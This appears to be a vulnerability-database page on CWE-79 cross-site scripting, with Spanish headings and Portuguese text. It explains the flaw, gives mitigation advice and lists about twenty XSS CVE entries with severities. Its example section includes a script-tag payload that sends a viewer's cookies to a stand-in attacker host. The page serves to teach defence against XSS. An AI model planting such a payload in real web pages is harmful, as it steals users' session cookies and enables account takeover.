Fallos del tipo CWE-79

29.816 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-43376HIGH A CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability exists that could cause codeEPSS 0.4%CVE-2023-39370HIGH StarTrinity Softswitch version 2023-02-16 - Persistent XSS (CWE-79) EPSS 0.4%CVE-2025-65778HIGHAn issue was discovered in Wekan The Open Source kanban board system up to version 18.15, fixed in 18.16. Uploaded attachments can be servedEPSS 0.4%CVE-2024-27091MEDIUMGeoNode stored XSS to full account takeoverEPSS 0.4%CVE-2023-31180MEDIUM WJJ Software - InnoKB Server, InnoKB/Console 2.2.1 - Reflected cross-site scripting (RXSS)EPSS 0.4%CVE-2023-51457MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2025-59974CRITICALJunos Space Security Director: Persistent Cross-Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-59672MEDIUMMultiple vulnerabilities in the Repasat applicationEPSS 0.4%CVE-2023-33322HIGHWordPress Front End Users plugin < 3.2.25 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-51463MEDIUMAdobe Experience Manager | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 0.4%CVE-2023-30472HIGHWordPress URL Shortener by MyThemeShop Plugin <= 1.0.17 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-54998MEDIUMMonicaHQ v4.1.2 was discovered to contain an authenticated Client-Side Injection vulnerability via the Reason parameter at /people/h:[id]/deEPSS 0.4%CVE-2024-4234MEDIUMWordPress Filterable Portfolio plugin <= 1.6.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-46072HIGHWordPress Add Shortcodes Actions And Filters Plugin <= 2.0.9 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2026-59673MEDIUMMultiple vulnerabilities in the Repasat applicationEPSS 0.4%CVE-2023-51464MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-25369MEDIUMA reflected Cross-Site Scripting (XSS) vulnerability in FUEL CMS 1.5.2allows attackers to run arbitrary code via crafted string after the grEPSS 0.4%CVE-2026-33135CRITICALWeGIA has Reflected Cross-Site Scripting (XSS) in `novo_memorandoo.php` via `sccs` parameterEPSS 0.4%CVE-2023-51462MEDIUMAdobe Experience Manager | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 0.4%CVE-2025-6092MEDIUMcomfyanonymous comfyui Incomplete Fix CVE-2024-10099 image cross site scriptingEPSS 0.4%